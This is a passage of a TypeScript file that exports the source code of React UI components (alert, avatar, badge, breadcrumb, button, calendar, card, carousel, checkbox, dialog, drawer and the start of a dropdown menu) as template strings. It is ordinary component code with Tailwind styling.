{\n variant: \"default\",\n },\n }\n)\n\nconst Alert = React.forwardRef<\n HTMLDivElement,\n React.HTMLAttributes<HTMLDivElement> & VariantProps<typeof alertVariants>\n>(({ className, variant, ...props }, ref) => (\n <div\n ref={ref}\n role=\"alert\"\n className={cn(alertVariants({ variant }), className)}\n {...props}\n />\n))\nAlert.displayName = \"Alert\"\n\nconst AlertTitle = React.forwardRef<\n HTMLParagraphElement,\n React.HTMLAttributes<HTMLHeadingElement>\n>(({ className, ...props }, ref) => (\n <h5\n ref={ref}\n className={cn(\"mb-1 font-medium leading-none tracking-tight\", className)}\n {...props}\n />\n))\nAlertTitle.displayName = \"AlertTitle\"\n\nconst AlertDescription = React.forwardRef<\n HTMLParagraphElement,\n React.HTMLAttributes<HTMLParagraphElement>\n>(({ className, ...props }, ref) => (\n <div\n ref={ref}\n className={cn(\"text-sm [&_p]:leading-relaxed\", className)}\n {...props}\n />\n))\nAlertDescription.displayName = \"AlertDescription\"\n\nexport { Alert, AlertTitle, AlertDescription }\n\n`;\nexport const avatar = `import * as React from \"react\"\nimport * as AvatarPrimitive from \"@radix-ui/react-avatar\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Avatar = React.forwardRef<\n React.ElementRef<typeof AvatarPrimitive.Root>,\n React.ComponentPropsWithoutRef<typeof AvatarPrimitive.Root>\n>(({ className, ...props }, ref) => (\n <AvatarPrimitive.Root\n ref={ref}\n className={cn(\n \"relative flex h-10 w-10 shrink-0 overflow-hidden rounded-full\",\n className\n )}\n {...props}\n />\n))\nAvatar.displayName = AvatarPrimitive.Root.displayName\n\nconst AvatarImage = React.forwardRef<\n React.ElementRef<typeof AvatarPrimitive.Image>,\n React.ComponentPropsWithoutRef<typeof AvatarPrimitive.Image>\n>(({ className, ...props }, ref) => (\n <AvatarPrimitive.Image\n ref={ref}\n className={cn(\"aspect-square h-full w-full\", className)}\n {...props}\n />\n))\nAvatarImage.displayName = AvatarPrimitive.Image.displayName\n\nconst AvatarFallback = React.forwardRef<\n React.ElementRef<typeof AvatarPrimitive.Fallback>,\n React.ComponentPropsWithoutRef<typeof AvatarPrimitive.Fallback>\n>(({ className, ...props }, ref) => (\n <AvatarPrimitive.Fallback\n ref={ref}\n className={cn(\n \"flex h-full w-full items-center justify-center rounded-full bg-gray-100 dark:bg-gray-800\",\n className\n )}\n {...props}\n />\n))\nAvatarFallback.displayName = AvatarPrimitive.Fallback.displayName\n\nexport { Avatar, AvatarImage, AvatarFallback }\n\n`;\nexport const badge = `import * as React from \"react\"\nimport { cva, type VariantProps } from \"class-variance-authority\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst badgeVariants = cva(\n \"inline-flex items-center rounded-full border border-gray-200 px-2.5 py-0.5 text-xs font-semibold transition-colors focus:outline-none focus:ring-2 focus:ring-gray-950 focus:ring-offset-2 dark:border-gray-800 dark:focus:ring-gray-300\",\n {\n variants: {\n variant: {\n default:\n \"border-transparent bg-gray-900 text-gray-50 hover:bg-gray-900/80 dark:bg-gray-50 dark:text-gray-900 dark:hover:bg-gray-50/80\",\n secondary:\n \"border-transparent bg-gray-100 text-gray-900 hover:bg-gray-100/80 dark:bg-gray-800 dark:text-gray-50 dark:hover:bg-gray-800/80\",\n destructive:\n \"border-transparent bg-red-500 text-gray-50 hover:bg-red-500/80 dark:bg-red-900 dark:text-gray-50 dark:hover:bg-red-900/80\",\n outline: \"text-gray-950 dark:text-gray-50\",\n },\n },\n defaultVariants: {\n variant: \"default\",\n },\n }\n)\n\nexport interface BadgeProps\n extends React.HTMLAttributes<HTMLDivElement>,\n VariantProps<typeof badgeVariants> {}\n\nfunction Badge({ className, variant, ...props }: BadgeProps) {\n return (\n <div className={cn(badgeVariants({ variant }), className)} {...props} />\n )\n}\n\nexport { Badge, badgeVariants }\n\n`;\nexport const breadcrumb = `import * as React from \"react\"\nimport { Slot } from \"@radix-ui/react-slot\"\nimport { ChevronRight, MoreHorizontal } from \"lucide-react\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Breadcrumb = React.forwardRef<\n HTMLElement,\n React.ComponentPropsWithoutRef<\"nav\"> & {\n separator?: React.ReactNode\n }\n>(({ ...props }, ref) => <nav ref={ref} aria-label=\"breadcrumb\" {...props} />)\nBreadcrumb.displayName = \"Breadcrumb\"\n\nconst BreadcrumbList = React.forwardRef<\n HTMLOListElement,\n React.ComponentPropsWithoutRef<\"ol\">\n>(({ className, ...props }, ref) => (\n <ol\n ref={ref}\n className={cn(\n \"flex flex-wrap items-center gap-1.5 break-words text-sm text-gray-500 sm:gap-2.5 dark:text-gray-400\",\n className\n )}\n {...props}\n />\n))\nBreadcrumbList.displayName = \"BreadcrumbList\"\n\nconst BreadcrumbItem = React.forwardRef<\n HTMLLIElement,\n React.ComponentPropsWithoutRef<\"li\">\n>(({ className, ...props }, ref) => (\n <li\n ref={ref}\n className={cn(\"inline-flex items-center gap-1.5\", className)}\n {...props}\n />\n))\nBreadcrumbItem.displayName = \"BreadcrumbItem\"\n\nconst BreadcrumbLink = React.forwardRef<\n HTMLAnchorElement,\n React.ComponentPropsWithoutRef<\"a\"> & {\n asChild?: boolean\n }\n>(({ asChild, className, ...props }, ref) => {\n const Comp = asChild ? Slot : \"a\"\n\n return (\n <Comp\n ref={ref}\n className={cn(\"transition-colors hover:text-gray-950 dark:hover:text-gray-50\", className)}\n {...props}\n />\n )\n})\nBreadcrumbLink.displayName = \"BreadcrumbLink\"\n\nconst BreadcrumbPage = React.forwardRef<\n HTMLSpanElement,\n React.ComponentPropsWithoutRef<\"span\">\n>(({ className, ...props }, ref) => (\n <span\n ref={ref}\n role=\"link\"\n aria-disabled=\"true\"\n aria-current=\"page\"\n className={cn(\"font-normal text-gray-950 dark:text-gray-50\", className)}\n {...props}\n />\n))\nBreadcrumbPage.displayName = \"BreadcrumbPage\"\n\nconst BreadcrumbSeparator = ({\n children,\n className,\n ...props\n}: React.ComponentProps<\"li\">) => (\n <li\n role=\"presentation\"\n aria-hidden=\"true\"\n className={cn(\"[&>svg]:size-3.5\", className)}\n {...props}\n >\n {children ?? <ChevronRight />}\n </li>\n)\nBreadcrumbSeparator.displayName = \"BreadcrumbSeparator\"\n\nconst BreadcrumbEllipsis = ({\n className,\n ...props\n}: React.ComponentProps<\"span\">) => (\n <span\n role=\"presentation\"\n aria-hidden=\"true\"\n className={cn(\"flex h-9 w-9 items-center justify-center\", className)}\n {...props}\n >\n <MoreHorizontal className=\"h-4 w-4\" />\n <span className=\"sr-only\">More</span>\n </span>\n)\nBreadcrumbEllipsis.displayName = \"BreadcrumbElipssis\"\n\nexport {\n Breadcrumb,\n BreadcrumbList,\n BreadcrumbItem,\n BreadcrumbLink,\n BreadcrumbPage,\n BreadcrumbSeparator,\n BreadcrumbEllipsis,\n}\n\n`;\nexport const button = `import * as React from \"react\"\nimport { Slot } from \"@radix-ui/react-slot\"\nimport { cva, type VariantProps } from \"class-variance-authority\"\n\nimport { cn } from '../../lib/utils';\n\nconst buttonVariants = cva(\n \"inline-flex items-center justify-center whitespace-nowrap rounded-md text-sm font-medium ring-offset-white transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-gray-950 focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 dark:ring-offset-gray-950 dark:focus-visible:ring-gray-300\",\n {\n variants: {\n variant: {\n default: \"bg-gray-900 text-gray-50 hover:bg-gray-900/90 dark:bg-gray-50 dark:text-gray-900 dark:hover:bg-gray-50/90\",\n destructive:\n \"bg-red-500 text-gray-50 hover:bg-red-500/90 dark:bg-red-900 dark:text-gray-50 dark:hover:bg-red-900/90\",\n outline:\n \"border border-gray-200 bg-white hover:bg-gray-100 hover:text-gray-900 dark:border-gray-800 dark:bg-gray-950 dark:hover:bg-gray-800 dark:hover:text-gray-50\",\n secondary:\n \"bg-gray-100 text-gray-900 hover:bg-gray-100/80 dark:bg-gray-800 dark:text-gray-50 dark:hover:bg-gray-800/80\",\n ghost: \"hover:bg-gray-100 hover:text-gray-900 dark:hover:bg-gray-800 dark:hover:text-gray-50\",\n link: \"text-gray-900 underline-offset-4 hover:underline dark:text-gray-50\",\n },\n size: {\n default: \"h-10 px-4 py-2\",\n sm: \"h-9 rounded-md px-3\",\n lg: \"h-11 rounded-md px-8\",\n icon: \"h-10 w-10\",\n },\n },\n defaultVariants: {\n variant: \"default\",\n size: \"default\",\n },\n }\n)\n\nexport interface ButtonProps\n extends React.ButtonHTMLAttributes<HTMLButtonElement>,\n VariantProps<typeof buttonVariants> {\n asChild?: boolean\n}\n\nconst Button = React.forwardRef<HTMLButtonElement, ButtonProps>(\n ({ className, variant, size, asChild = false, ...props }, ref) => {\n const Comp = asChild ? Slot : \"button\"\n return (\n <Comp\n className={cn(buttonVariants({ variant, size, className }))}\n ref={ref}\n {...props}\n />\n )\n }\n)\nButton.displayName = \"Button\"\n\nexport { Button, buttonVariants }\n`;\nexport const calendar = `import * as React from \"react\"\nimport { ChevronLeft, ChevronRight } from \"lucide-react\"\nimport { DayPicker } from \"react-day-picker\"\n\nimport { cn } from \"../../lib/utils\"\nimport { buttonVariants } from \"./button\"\n\nexport type CalendarProps = React.ComponentProps<typeof DayPicker>\n\nfunction Calendar({\n className,\n classNames,\n showOutsideDays = true,\n ...props\n}: CalendarProps) {\n return (\n <DayPicker\n showOutsideDays={showOutsideDays}\n className={cn(\"p-3\", className)}\n classNames={{\n months: \"flex flex-col sm:flex-row space-y-4 sm:space-x-4 sm:space-y-0\",\n month: \"space-y-4\",\n caption: \"flex justify-center pt-1 relative items-center\",\n caption_label: \"text-sm font-medium\",\n nav: \"space-x-1 flex items-center\",\n nav_button: cn(\n buttonVariants({ variant: \"outline\" }),\n \"h-7 w-7 bg-transparent p-0 opacity-50 hover:opacity-100\"\n ),\n nav_button_previous: \"absolute left-1\",\n nav_button_next: \"absolute right-1\",\n table: \"w-full border-collapse space-y-1\",\n head_row: \"flex\",\n head_cell:\n \"text-gray-500 rounded-md w-9 font-normal text-[0.8rem] dark:text-gray-400\",\n row: \"flex w-full mt-2\",\n cell: \"h-9 w-9 text-center text-sm p-0 relative [&:has([aria-selected].day-range-end)]:rounded-r-md [&:has([aria-selected].day-outside)]:bg-gray-100/50 [&:has([aria-selected])]:bg-gray-100 first:[&:has([aria-selected])]:rounded-l-md last:[&:has([aria-selected])]:rounded-r-md focus-within:relative focus-within:z-20 dark:[&:has([aria-selected].day-outside)]:bg-gray-800/50 dark:[&:has([aria-selected])]:bg-gray-800\",\n day: cn(\n buttonVariants({ variant: \"ghost\" }),\n \"h-9 w-9 p-0 font-normal aria-selected:opacity-100\"\n ),\n day_range_end: \"day-range-end\",\n day_selected:\n \"bg-gray-900 text-gray-50 hover:bg-gray-900 hover:text-gray-50 focus:bg-gray-900 focus:text-gray-50 dark:bg-gray-50 dark:text-gray-900 dark:hover:bg-gray-50 dark:hover:text-gray-900 dark:focus:bg-gray-50 dark:focus:text-gray-900\",\n day_today: \"bg-gray-100 text-gray-900 dark:bg-gray-800 dark:text-gray-50\",\n day_outside:\n \"day-outside text-gray-500 opacity-50 aria-selected:bg-gray-100/50 aria-selected:text-gray-500 aria-selected:opacity-30 dark:text-gray-400 dark:aria-selected:bg-gray-800/50 dark:aria-selected:text-gray-400\",\n day_disabled: \"text-gray-500 opacity-50 dark:text-gray-400\",\n day_range_middle:\n \"aria-selected:bg-gray-100 aria-selected:text-gray-900 dark:aria-selected:bg-gray-800 dark:aria-selected:text-gray-50\",\n day_hidden: \"invisible\",\n ...classNames,\n }}\n components={{\n IconLeft: ({ ...props }) => <ChevronLeft className=\"h-4 w-4\" />,\n IconRight: ({ ...props }) => <ChevronRight className=\"h-4 w-4\" />,\n }}\n {...props}\n />\n )\n}\nCalendar.displayName = \"Calendar\"\n\nexport { Calendar }\n\n`;\nexport const card = `import * as React from 'react';\n\nimport { cn } from '../../lib/utils';\n\nconst Card = React.forwardRef<\n HTMLDivElement,\n React.HTMLAttributes<HTMLDivElement>\n>(({ className, ...props }, ref) => (\n <div\n ref={ref}\n className={cn(\n \"rounded-lg border border-gray-200 bg-white text-gray-950 shadow-sm dark:border-gray-800 dark:bg-gray-950 dark:text-gray-50\",\n className\n )}\n {...props}\n />\n))\nCard.displayName = \"Card\"\n\nconst CardHeader = React.forwardRef<\n HTMLDivElement,\n React.HTMLAttributes<HTMLDivElement>\n>(({ className, ...props }, ref) => (\n <div\n ref={ref}\n className={cn(\"flex flex-col space-y-1.5 p-6\", className)}\n {...props}\n />\n))\nCardHeader.displayName = \"CardHeader\"\n\nconst CardTitle = React.forwardRef<\n HTMLParagraphElement,\n React.HTMLAttributes<HTMLHeadingElement>\n>(({ className, ...props }, ref) => (\n <h3\n ref={ref}\n className={cn(\n \"text-2xl font-semibold leading-none tracking-tight\",\n className\n )}\n {...props}\n />\n))\nCardTitle.displayName = \"CardTitle\"\n\nconst CardDescription = React.forwardRef<\n HTMLParagraphElement,\n React.HTMLAttributes<HTMLParagraphElement>\n>(({ className, ...props }, ref) => (\n <p\n ref={ref}\n className={cn(\"text-sm text-gray-500 dark:text-gray-400\", className)}\n {...props}\n />\n))\nCardDescription.displayName = \"CardDescription\"\n\nconst CardContent = React.forwardRef<\n HTMLDivElement,\n React.HTMLAttributes<HTMLDivElement>\n>(({ className, ...props }, ref) => (\n <div ref={ref} className={cn(\"p-6 pt-0\", className)} {...props} />\n))\nCardContent.displayName = \"CardContent\"\n\nconst CardFooter = React.forwardRef<\n HTMLDivElement,\n React.HTMLAttributes<HTMLDivElement>\n>(({ className, ...props }, ref) => (\n <div\n ref={ref}\n className={cn(\"flex items-center p-6 pt-0\", className)}\n {...props}\n />\n))\nCardFooter.displayName = \"CardFooter\"\n\nexport { Card, CardHeader, CardFooter, CardTitle, CardDescription, CardContent }\n`;\nexport const carousel = `import * as React from \"react\"\nimport useEmblaCarousel, {\n type UseEmblaCarouselType,\n} from \"embla-carousel-react\"\nimport { ArrowLeft, ArrowRight } from \"lucide-react\"\n\nimport { cn } from \"../../lib/utils\"\nimport { Button } from \"./button\"\n\ntype CarouselApi = UseEmblaCarouselType[1]\ntype UseCarouselParameters = Parameters<typeof useEmblaCarousel>\ntype CarouselOptions = UseCarouselParameters[0]\ntype CarouselPlugin = UseCarouselParameters[1]\n\ntype CarouselProps = {\n opts?: CarouselOptions\n plugins?: CarouselPlugin\n orientation?: \"horizontal\" | \"vertical\"\n setApi?: (api: CarouselApi) => void\n}\n\ntype CarouselContextProps = {\n carouselRef: ReturnType<typeof useEmblaCarousel>[0]\n api: ReturnType<typeof useEmblaCarousel>[1]\n scrollPrev: () => void\n scrollNext: () => void\n canScrollPrev: boolean\n canScrollNext: boolean\n} & CarouselProps\n\nconst CarouselContext = React.createContext<CarouselContextProps | null>(null)\n\nfunction useCarousel() {\n const context = React.useContext(CarouselContext)\n\n if (!context) {\n throw new Error(\"useCarousel must be used within a <Carousel />\")\n }\n\n return context\n}\n\nconst Carousel = React.forwardRef<\n HTMLDivElement,\n React.HTMLAttributes<HTMLDivElement> & CarouselProps\n>(\n (\n {\n orientation = \"horizontal\",\n opts,\n setApi,\n plugins,\n className,\n children,\n ...props\n },\n ref\n ) => {\n const [carouselRef, api] = useEmblaCarousel(\n {\n ...opts,\n axis: orientation === \"horizontal\" ? \"x\" : \"y\",\n },\n plugins\n )\n const [canScrollPrev, setCanScrollPrev] = React.useState(false)\n const [canScrollNext, setCanScrollNext] = React.useState(false)\n\n const onSelect = React.useCallback((api: CarouselApi) => {\n if (!api) {\n return\n }\n\n setCanScrollPrev(api.canScrollPrev())\n setCanScrollNext(api.canScrollNext())\n }, [])\n\n const scrollPrev = React.useCallback(() => {\n api?.scrollPrev()\n }, [api])\n\n const scrollNext = React.useCallback(() => {\n api?.scrollNext()\n }, [api])\n\n const handleKeyDown = React.useCallback(\n (event: React.KeyboardEvent<HTMLDivElement>) => {\n if (event.key === \"ArrowLeft\") {\n event.preventDefault()\n scrollPrev()\n } else if (event.key === \"ArrowRight\") {\n event.preventDefault()\n scrollNext()\n }\n },\n [scrollPrev, scrollNext]\n )\n\n React.useEffect(() => {\n if (!api || !setApi) {\n return\n }\n\n setApi(api)\n }, [api, setApi])\n\n React.useEffect(() => {\n if (!api) {\n return\n }\n\n onSelect(api)\n api.on(\"reInit\", onSelect)\n api.on(\"select\", onSelect)\n\n return () => {\n api?.off(\"select\", onSelect)\n }\n }, [api, onSelect])\n\n return (\n <CarouselContext.Provider\n value={{\n carouselRef,\n api: api,\n opts,\n orientation:\n orientation || (opts?.axis === \"y\" ? \"vertical\" : \"horizontal\"),\n scrollPrev,\n scrollNext,\n canScrollPrev,\n canScrollNext,\n }}\n >\n <div\n ref={ref}\n onKeyDownCapture={handleKeyDown}\n className={cn(\"relative\", className)}\n role=\"region\"\n aria-roledescription=\"carousel\"\n {...props}\n >\n {children}\n </div>\n </CarouselContext.Provider>\n )\n }\n)\nCarousel.displayName = \"Carousel\"\n\nconst CarouselContent = React.forwardRef<\n HTMLDivElement,\n React.HTMLAttributes<HTMLDivElement>\n>(({ className, ...props }, ref) => {\n const { carouselRef, orientation } = useCarousel()\n\n return (\n <div ref={carouselRef} className=\"overflow-hidden\">\n <div\n ref={ref}\n className={cn(\n \"flex\",\n orientation === \"horizontal\" ? \"-ml-4\" : \"-mt-4 flex-col\",\n className\n )}\n {...props}\n />\n </div>\n )\n})\nCarouselContent.displayName = \"CarouselContent\"\n\nconst CarouselItem = React.forwardRef<\n HTMLDivElement,\n React.HTMLAttributes<HTMLDivElement>\n>(({ className, ...props }, ref) => {\n const { orientation } = useCarousel()\n\n return (\n <div\n ref={ref}\n role=\"group\"\n aria-roledescription=\"slide\"\n className={cn(\n \"min-w-0 shrink-0 grow-0 basis-full\",\n orientation === \"horizontal\" ? \"pl-4\" : \"pt-4\",\n className\n )}\n {...props}\n />\n )\n})\nCarouselItem.displayName = \"CarouselItem\"\n\nconst CarouselPrevious = React.forwardRef<\n HTMLButtonElement,\n React.ComponentProps<typeof Button>\n>(({ className, variant = \"outline\", size = \"icon\", ...props }, ref) => {\n const { orientation, scrollPrev, canScrollPrev } = useCarousel()\n\n return (\n <Button\n ref={ref}\n variant={variant}\n size={size}\n className={cn(\n \"absolute h-8 w-8 rounded-full\",\n orientation === \"horizontal\"\n ? \"-left-12 top-1/2 -translate-y-1/2\"\n : \"-top-12 left-1/2 -translate-x-1/2 rotate-90\",\n className\n )}\n disabled={!canScrollPrev}\n onClick={scrollPrev}\n {...props}\n >\n <ArrowLeft className=\"h-4 w-4\" />\n <span className=\"sr-only\">Previous slide</span>\n </Button>\n )\n})\nCarouselPrevious.displayName = \"CarouselPrevious\"\n\nconst CarouselNext = React.forwardRef<\n HTMLButtonElement,\n React.ComponentProps<typeof Button>\n>(({ className, variant = \"outline\", size = \"icon\", ...props }, ref) => {\n const { orientation, scrollNext, canScrollNext } = useCarousel()\n\n return (\n <Button\n ref={ref}\n variant={variant}\n size={size}\n className={cn(\n \"absolute h-8 w-8 rounded-full\",\n orientation === \"horizontal\"\n ? \"-right-12 top-1/2 -translate-y-1/2\"\n : \"-bottom-12 left-1/2 -translate-x-1/2 rotate-90\",\n className\n )}\n disabled={!canScrollNext}\n onClick={scrollNext}\n {...props}\n >\n <ArrowRight className=\"h-4 w-4\" />\n <span className=\"sr-only\">Next slide</span>\n </Button>\n )\n})\nCarouselNext.displayName = \"CarouselNext\"\n\nexport {\n type CarouselApi,\n Carousel,\n CarouselContent,\n CarouselItem,\n CarouselPrevious,\n CarouselNext,\n}\n\n`;\nexport const checkbox = `import * as React from \"react\"\nimport * as CheckboxPrimitive from \"@radix-ui/react-checkbox\"\nimport { Check } from \"lucide-react\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Checkbox = React.forwardRef<\n React.ElementRef<typeof CheckboxPrimitive.Root>,\n React.ComponentPropsWithoutRef<typeof CheckboxPrimitive.Root>\n>(({ className, ...props }, ref) => (\n <CheckboxPrimitive.Root\n ref={ref}\n className={cn(\n \"peer h-4 w-4 shrink-0 rounded-sm border border-gray-200 dark:border-gray-900 ring-offset-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-gray-950 focus-visible:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 data-[state=checked]:bg-gray-900 data-[state=checked]:text-gray-50 dark:ring-offset-gray-950 dark:focus-visible:ring-gray-300 dark:data-[state=checked]:bg-gray-50 dark:data-[state=checked]:text-gray-900\",\n className\n )}\n {...props}\n >\n <CheckboxPrimitive.Indicator\n className={cn(\"flex items-center justify-center text-current\")}\n >\n <Check className=\"h-4 w-4\" />\n </CheckboxPrimitive.Indicator>\n </CheckboxPrimitive.Root>\n))\nCheckbox.displayName = CheckboxPrimitive.Root.displayName\n\nexport { Checkbox }\n\n`;\nexport const collapsible = `import * as CollapsiblePrimitive from \"@radix-ui/react-collapsible\"\n\nconst Collapsible = CollapsiblePrimitive.Root\n\nconst CollapsibleTrigger = CollapsiblePrimitive.CollapsibleTrigger\n\nconst CollapsibleContent = CollapsiblePrimitive.CollapsibleContent\n\nexport { Collapsible, CollapsibleTrigger, CollapsibleContent }\n\n`;\nexport const dialog = `import * as React from \"react\"\nimport * as DialogPrimitive from \"@radix-ui/react-dialog\"\nimport { X } from \"lucide-react\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Dialog = DialogPrimitive.Root\n\nconst DialogTrigger = DialogPrimitive.Trigger\n\nconst DialogPortal = DialogPrimitive.Portal\n\nconst DialogClose = DialogPrimitive.Close\n\nconst DialogOverlay = React.forwardRef<\n React.ElementRef<typeof DialogPrimitive.Overlay>,\n React.ComponentPropsWithoutRef<typeof DialogPrimitive.Overlay>\n>(({ className, ...props }, ref) => (\n <DialogPrimitive.Overlay\n ref={ref}\n className={cn(\n \"fixed inset-0 z-50 bg-black/80 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0\",\n className\n )}\n {...props}\n />\n))\nDialogOverlay.displayName = DialogPrimitive.Overlay.displayName\n\nconst DialogContent = React.forwardRef<\n React.ElementRef<typeof DialogPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof DialogPrimitive.Content>\n>(({ className, children, ...props }, ref) => (\n <DialogPortal>\n <DialogOverlay />\n <DialogPrimitive.Content\n ref={ref}\n className={cn(\n \"fixed left-[50%] top-[50%] z-50 grid w-full max-w-lg translate-x-[-50%] translate-y-[-50%] gap-4 border border-gray-200 bg-white p-6 shadow-lg duration-200 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[state=closed]:slide-out-to-left-1/2 data-[state=closed]:slide-out-to-top-[48%] data-[state=open]:slide-in-from-left-1/2 data-[state=open]:slide-in-from-top-[48%] sm:rounded-lg dark:border-gray-800 dark:bg-gray-950\",\n className\n )}\n {...props}\n >\n {children}\n <DialogPrimitive.Close className=\"absolute right-4 top-4 rounded-sm opacity-70 ring-offset-white transition-opacity hover:opacity-100 focus:outline-none focus:ring-2 focus:ring-gray-950 focus:ring-offset-2 disabled:pointer-events-none data-[state=open]:bg-gray-100 data-[state=open]:text-gray-500 dark:ring-offset-gray-950 dark:focus:ring-gray-300 dark:data-[state=open]:bg-gray-800 dark:data-[state=open]:text-gray-400\">\n <X className=\"h-4 w-4\" />\n <span className=\"sr-only\">Close</span>\n </DialogPrimitive.Close>\n </DialogPrimitive.Content>\n </DialogPortal>\n))\nDialogContent.displayName = DialogPrimitive.Content.displayName\n\nconst DialogHeader = ({\n className,\n ...props\n}: React.HTMLAttributes<HTMLDivElement>) => (\n <div\n className={cn(\n \"flex flex-col space-y-1.5 text-center sm:text-left\",\n className\n )}\n {...props}\n />\n)\nDialogHeader.displayName = \"DialogHeader\"\n\nconst DialogFooter = ({\n className,\n ...props\n}: React.HTMLAttributes<HTMLDivElement>) => (\n <div\n className={cn(\n \"flex flex-col-reverse sm:flex-row sm:justify-end sm:space-x-2\",\n className\n )}\n {...props}\n />\n)\nDialogFooter.displayName = \"DialogFooter\"\n\nconst DialogTitle = React.forwardRef<\n React.ElementRef<typeof DialogPrimitive.Title>,\n React.ComponentPropsWithoutRef<typeof DialogPrimitive.Title>\n>(({ className, ...props }, ref) => (\n <DialogPrimitive.Title\n ref={ref}\n className={cn(\n \"text-lg font-semibold leading-none tracking-tight\",\n className\n )}\n {...props}\n />\n))\nDialogTitle.displayName = DialogPrimitive.Title.displayName\n\nconst DialogDescription = React.forwardRef<\n React.ElementRef<typeof DialogPrimitive.Description>,\n React.ComponentPropsWithoutRef<typeof DialogPrimitive.Description>\n>(({ className, ...props }, ref) => (\n <DialogPrimitive.Description\n ref={ref}\n className={cn(\"text-sm text-gray-500 dark:text-gray-400\", className)}\n {...props}\n />\n))\nDialogDescription.displayName = DialogPrimitive.Description.displayName\n\nexport {\n Dialog,\n DialogPortal,\n DialogOverlay,\n DialogClose,\n DialogTrigger,\n DialogContent,\n DialogHeader,\n DialogFooter,\n DialogTitle,\n DialogDescription,\n}\n\n`;\nexport const drawer = `import * as React from \"react\"\nimport { Drawer as DrawerPrimitive } from \"vaul\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Drawer = ({\n shouldScaleBackground = true,\n ...props\n}: React.ComponentProps<typeof DrawerPrimitive.Root>) => (\n <DrawerPrimitive.Root\n shouldScaleBackground={shouldScaleBackground}\n {...props}\n />\n)\nDrawer.displayName = \"Drawer\"\n\nconst DrawerTrigger = DrawerPrimitive.Trigger\n\nconst DrawerPortal = DrawerPrimitive.Portal\n\nconst DrawerClose = DrawerPrimitive.Close\n\nconst DrawerOverlay = React.forwardRef<\n React.ElementRef<typeof DrawerPrimitive.Overlay>,\n React.ComponentPropsWithoutRef<typeof DrawerPrimitive.Overlay>\n>(({ className, ...props }, ref) => (\n <DrawerPrimitive.Overlay\n ref={ref}\n className={cn(\"fixed inset-0 z-50 bg-black/80\", className)}\n {...props}\n />\n))\nDrawerOverlay.displayName = DrawerPrimitive.Overlay.displayName\n\nconst DrawerContent = React.forwardRef<\n React.ElementRef<typeof DrawerPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof DrawerPrimitive.Content>\n>(({ className, children, ...props }, ref) => (\n <DrawerPortal>\n <DrawerOverlay />\n <DrawerPrimitive.Content\n ref={ref}\n className={cn(\n \"fixed inset-x-0 bottom-0 z-50 mt-24 flex h-auto flex-col rounded-t-[10px] border border-gray-200 bg-white dark:border-gray-800 dark:bg-gray-950\",\n className\n )}\n {...props}\n >\n <div className=\"mx-auto mt-4 h-2 w-[100px] rounded-full bg-gray-100 dark:bg-gray-800\" />\n {children}\n </DrawerPrimitive.Content>\n </DrawerPortal>\n))\nDrawerContent.displayName = \"DrawerContent\"\n\nconst DrawerHeader = ({\n className,\n ...props\n}: React.HTMLAttributes<HTMLDivElement>) => (\n <div\n className={cn(\"grid gap-1.5 p-4 text-center sm:text-left\", className)}\n {...props}\n />\n)\nDrawerHeader.displayName = \"DrawerHeader\"\n\nconst DrawerFooter = ({\n className,\n ...props\n}: React.HTMLAttributes<HTMLDivElement>) => (\n <div\n className={cn(\"mt-auto flex flex-col gap-2 p-4\", className)}\n {...props}\n />\n)\nDrawerFooter.displayName = \"DrawerFooter\"\n\nconst DrawerTitle = React.forwardRef<\n React.ElementRef<typeof DrawerPrimitive.Title>,\n React.ComponentPropsWithoutRef<typeof DrawerPrimitive.Title>\n>(({ className, ...props }, ref) => (\n <DrawerPrimitive.Title\n ref={ref}\n className={cn(\n \"text-lg font-semibold leading-none tracking-tight\",\n className\n )}\n {...props}\n />\n))\nDrawerTitle.displayName = DrawerPrimitive.Title.displayName\n\nconst DrawerDescription = React.forwardRef<\n React.ElementRef<typeof DrawerPrimitive.Description>,\n React.ComponentPropsWithoutRef<typeof DrawerPrimitive.Description>\n>(({ className, ...props }, ref) => (\n <DrawerPrimitive.Description\n ref={ref}\n className={cn(\"text-sm text-gray-500 dark:text-gray-400\", className)}\n {...props}\n />\n))\nDrawerDescription.displayName = DrawerPrimitive.Description.displayName\n\nexport {\n Drawer,\n DrawerPortal,\n DrawerOverlay,\n DrawerTrigger,\n DrawerClose,\n DrawerContent,\n DrawerHeader,\n DrawerFooter,\n DrawerTitle,\n DrawerDescription,\n}\n\n`;\nexport const dropdownMenu = `import * as React from \"react\"\nimport * as DropdownMenuPrimitive from \"@radix-ui/react-dropdown-menu\"\nimport { Check, ChevronRight, Circle } from \"lucide-react\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst DropdownMenu = DropdownMenuPrimitive.Root\n\nconst DropdownMenuTrigger = DropdownMenuPrimitive.Trigger\n\nconst DropdownMenuGroup = DropdownMenuPrimitive.Group\n\nconst DropdownMenuPortal = DropdownMenuPrimitive.Portal\n\nconst DropdownMenuSub = DropdownMenuPrimitive.Sub\n\nconst DropdownMenuRadioGroup = DropdownMenuPrimitive.RadioGroup\n\nconst DropdownMenuSubTrigger = React.forwardRef<\n React.ElementRef<typeof DropdownMenuPrimitive.SubTrigger>,\n React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.SubTrigger> & {\n inset?: boolean\n }\n>(({ className, inset, children, ...props }, ref) => (\n <DropdownMenuPrimitive.SubTrigger\n ref={ref}\n className={cn(\n \"flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none focus:bg-gray-100 data-[state=open]:bg-gray-100 dark:focus:bg-gray-800 dark:data-[state=open]:bg-gray-800\",\n inset && \"pl-8\",\n className\n )}\n {...props}\n >\n {children}\n <ChevronRight className=\"ml-auto h-4 w-4\" />\n </DropdownMenuPrimitive.SubTrigger>\n))\nDropdownMenuSubTrigger.displayName =\n 